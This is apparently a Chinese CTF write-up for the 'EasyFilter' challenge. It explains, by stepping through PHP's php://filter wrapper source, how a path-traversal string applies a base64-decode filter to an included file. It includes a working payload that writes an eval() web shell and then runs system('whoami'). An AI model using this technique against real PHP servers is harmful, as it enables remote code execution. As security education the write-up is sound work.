Diggid's Blog

[每周3Tricks]php://filter路径穿越问题

字数统计: 2.2k阅读时长: 9 min
2021/10/26 Share

题目

强网拟态的一道题EasyFilter,就一个php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
ini_set("open_basedir", "./");
if(!isset($_GET['action'])){
highlight_file(__FILE__);
die();
}
if($_GET['action'] == 'w') {
@mkdir("./files/");
$content = $_GET['c'];
$file = bin2hex(random_bytes(5));
file_put_contents("./files/".$file, base64_encode($content));
echo "./files/".$file;
}else if($_GET['action'] == 'r') {
$r = $_GET['r'];
$file = "./files/".$r;
include("php://filter/resource=$file");
}

理解一下代码:

  • open_basedir没啥用
  • action为w时,写的文件内容被base64,文件名不可控,相当于是./files/xxxxx,但是会输出路径给我们,相当于文件路径已知。
  • action为r时,可以拼接一部分路径到./files/[用户可控],后面又拼接到php://filter/resource=这一部分中,所以思路是如果能让这个php://filter的过滤器convert.base64-decode生效,并且成功包含到我们的文件

payload

1
2
3
4
?action=w&c<%3fphp+eval($_REQUEST[0])%3b%3f>

?action=r&r=convert.base64-decode/../88c8ad25c9&0=system('whoami');
// 拼接之后相当于:php://filter/resource=./files/convert.base64-decode/../88c8ad25c9

调试

调试正常流程

正常情况下,是这么写的php://filter/read=[过滤器]/resource=[文件路径],先基本的猜测一下php源码的解析过程,大概可能是匹配到read之后,把+2的地方作为过滤器部分进一步处理,匹配到resource之后把+2的地方作为文件路径来读取,而且肯定会有读文件的解析过程。

看一下源码怎么处理的。断点打在ext/standard/php_fopen_wrapper.cphp_stream_url_wrap_php函数的339行,该函数用来处理php_stream_wrapper

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
php_stream * php_stream_url_wrap_php(php_stream_wrapper *wrapper, const char *path, const char *mode, int options,
zend_string **opened_path, php_stream_context *context STREAMS_DC) /* {{{ */
{
int fd = -1;
int mode_rw = 0;
php_stream * stream = NULL;
char *p, *token = NULL, *pathdup;
zend_long max_memory;
FILE *file = NULL;

... // 处理其他stream_wrapper的

} else if (!strncasecmp(path, "filter/", 7)) {
/* Save time/memory when chain isn't specified */
if (strchr(mode, 'r') || strchr(mode, '+')) {
mode_rw |= PHP_STREAM_FILTER_READ;
}
if (strchr(mode, 'w') || strchr(mode, '+') || strchr(mode, 'a')) {
mode_rw |= PHP_STREAM_FILTER_WRITE;
}
pathdup = estrndup(path + 6, strlen(path + 6));
p = strstr(pathdup, "/resource=");
if (!p) {
zend_throw_error(NULL, "No URL resource specified");
efree(pathdup);
return NULL;
}

if (!(stream = php_stream_open_wrapper(p + 10, mode, options, opened_path))) {
efree(pathdup);
return NULL;
}

*p = '\0';

p = php_strtok_r(pathdup + 1, "/", &token);
while (p) {
if (!strncasecmp(p, "read=", 5)) {
php_stream_apply_filter_list(stream, p + 5, 1, 0);
} else if (!strncasecmp(p, "write=", 6)) {
php_stream_apply_filter_list(stream, p + 6, 0, 1);
} else {
php_stream_apply_filter_list(stream, p, mode_rw & PHP_STREAM_FILTER_READ, mode_rw & PHP_STREAM_FILTER_WRITE);
}
p = php_strtok_r(NULL, "/", &token);
}
efree(pathdup);

if (EG(exception)) {
php_stream_close(stream);
return NULL;
}

return stream;
}

*p = '\0';前面的处理,将php://filter/read=convert.base64-decode/resource=./files/88c8ad25c9处理为

  • “/resource=./files/88c8ad25c9”,赋值给p
  • “/read=convert.base64-decode/resource=./files/88c8ad25c9”,赋值给pathup

注意,这里的p和pathup是两个不同的指针,指向不同的字符串进行处理

image-20211027100734806

接下来\0截断处理后,此时整个串变为:/read=convert.base64-decode\0resource=./files/88c8ad25c9

再调用p = php_strtok_r(pathdup + 1, "/", &token);,以字符串的第一个/作为分割点,后半段赋值给token,前半段赋值给p而在切割的过程中,从/read的+1的地方r开始扫描,中间出现了\0直接截断停止扫描,这里是一个关键点,payload的处理过程和这里不同,以下值更新为:

  • token:空值(被\0截断了)
  • p:read=convert.base64-decode

之后判断p是否有前缀read=write=,有的话就截断掉,然后传入php_stream_apply_filter_list处理过滤器,即convert.base64-decode|..|..的部分,在这个循环中以/切割token,不断取前半部分赋值给p

image-20211027130622982

处理完过滤器的部分之后,就直接返回stream了。

调试payload

我们可以带着payload调试一下,重点关注path、p、pathup、token这几个表示路径的变量,其都是指针类型

image-20211027093228518

调用strncasecmp函数比较path的前七个字符是不是filter/,不是则直接跳过,是才进入php://filter的处理,然后判断时读操作还是写操作。

然后截取掉filter后半部分赋值给pathup,此时为/resource=./files/convert.base64-decode/../88c8ad25c9

然后调用strstr函数判断pathup中/resource第一次出现的位置,刚好,出现在开头,这里很关键,因为这使得pathup和p的值相同,所以他们指向的字符串值也是相同的

image-20211027093958604

接下来调用php_stream_open_wrapper,实际上是调用_php_stream_open_wrapper_ex来封装我们的stream,在stream中,保留了处理的路径,以及过滤器,即filter。处理的路径在这一步就会确定下来,而filter在后续还会进一步处理,所以这里的路径就决定了我们包含文件的路径

image-20211027133836622

p是/resource=./files/convert.base64-decode/../88c8ad25c9,在正常情况下,p也是/resource=xxx这样的值,而pathup是/read=xxx,而这里,p和pathup是一样的,所以p+10的部分是./files/convert.base64-decode/../88c8ad25c9,只要生成steam的函数中不会做其他过滤处理的话,那么我们最终的路径就是./files/88c8ad25c9,完全可以实现包含。并且还有一个条件是,对于后续过滤器的处理,不会因为异常过滤器而报错退出(见后面分析),所以我们接下来先跟进php_stream_open_wrapper函数看一下生成stream时,会不会处理我们的path

image-20211027134313972

最后保存path的是stream中orig_path这个变量,可以看到和我们传进来的是一模一样的。

接下来的分析只需要保证过滤器的处理部分不会报错退出即可,*p = '\0';,这一部分处理,截断了/resource=./files/convert.base64-decode/../88c8ad25c9的开头,整个串的情况和上面正常调试的一样,但是此时pathup指向的字符串的p是一样的,且头部是\0,这意味着,在接下来pathup+1之后,\0被跳过了

接下来调用php_strtok_r将pathup+1(跳过/0)的部分,以/作为截断,后半部分赋值给token,即files/convert.base64-decode/../88c8ad25c9,前半部分以返回值的形式,赋值给p,即resource=.

image-20211027095012144

接下来就是和正常过程一样的循环,而这里的token是files/convert.base64-decode/../88c8ad25c9,先截取的是files,这不是一个合法的过滤器,但是并不会报错退出正常流程(只是Warning),在截取convert.base64-decode的部分时,传入php_stream_apply_filter_list中处理是一个合法的过滤器,会被正常处理。剩下的..88c8ad25c9也和files一样

image-20211027095834903

所以最终这里没有报错,过滤器是convert.base64-decode,路径是./files/convert.base64-decode/../88c8ad25c9,可以实现base64解码后包含,所以以下两个是等价的

  • php://filter/read=convert.base64-decode/resource=./files/88c8ad25c9
  • php://filter/resource=./files/convert.base64-decode/../88c8ad25c9

去掉files后也还是可以的

  • php://filter/read=convert.base64-decode/resource=./88c8ad25c9
  • php://filter/resource=./convert.base64-decode/../88c8ad25c9

总结

总结一下关键流程,以上面两个串为例

  • 截去php://filter,赋值给pathup
  • 关键点1:寻找子串/resource,子串所在及其后半部分赋值给p,对于两种写法
    • 正常:
      • p/resource=./convert.base64-decode/../88c8ad25c9
      • pathup/read=convert.base64-decode/resource=./files/88c8ad25c9
    • payload:ppathup都是/resource=./convert.base64-decode/../88c8ad25c9
  • 关键点2:生成stream,路径是p+10,即除去/resource=且路径不会被过滤
  • 切断p的开头*p='\0',目的是为了取出过滤器的部分,原串都会变为...\0resource=...
  • 关键点3:pathup+1处调用php_strtok_r,以/为分割并赋值给token和p
    • 正常:
      • pread=convert.base64-decode
      • token是空,因为被\0截断了,从read处读到\0resource被截断
    • payload:pathup+1跳过了\0
      • presource=.
      • tokenconvert.base64-decode/../88c8ad25c9
  • 循环对token调用p = php_strtok_r(NULL, "/", &token);,取出/前半部分给p,p判断前缀是否是read=write=(是则截取掉),不是一样正常处理。然后传入php_stream_apply_filter_list注册过滤器到stream的相关成员变量中
    • 正常:p截取为convert.base64-decode,注册,token为空,一次循环直接退出
    • payload:p不截取,以resource=.传入,虽然是不合法过滤器,但是只报Warning,token依次切割成"convert.base64-decode"、".." "88c8ad25c9",最终可以注册convert.base64-decode

发散

这里在发散看一下一些灵光乍现的payload写法

写法1

1
php://filter/[任意串]/resource=./files/convert.base64-decode/../88c8ad25c9

不行,因为\0截断之后,获取的过滤器部分就是任意串中的了,只有任意串符合read=xxxxxx(其中xxx才是想要注册的过滤器),不写read/write的话默认是read,所以下面这样也是可以的

1
php://filter/convert.base64-decode/resource=./88c8ad25c9

其他写法貌似都不太行了。

总结

  • /resource分割了过滤器部分和路径部分,所以过滤器部分必须放在/resource前,除非/resource前没有任何除php://filter之外的字符(payload的情况)
  • 路径是/resource截断之后去除/resource的部分,这是固定的
CATALOG
  1. 1. 题目
  2. 2. payload
  3. 3. 调试
    1. 3.1. 调试正常流程
    2. 3.2. 调试payload
    3. 3.3. 总结
  4. 4. 发散
    1. 4.1. 写法1
  5. 5. 总结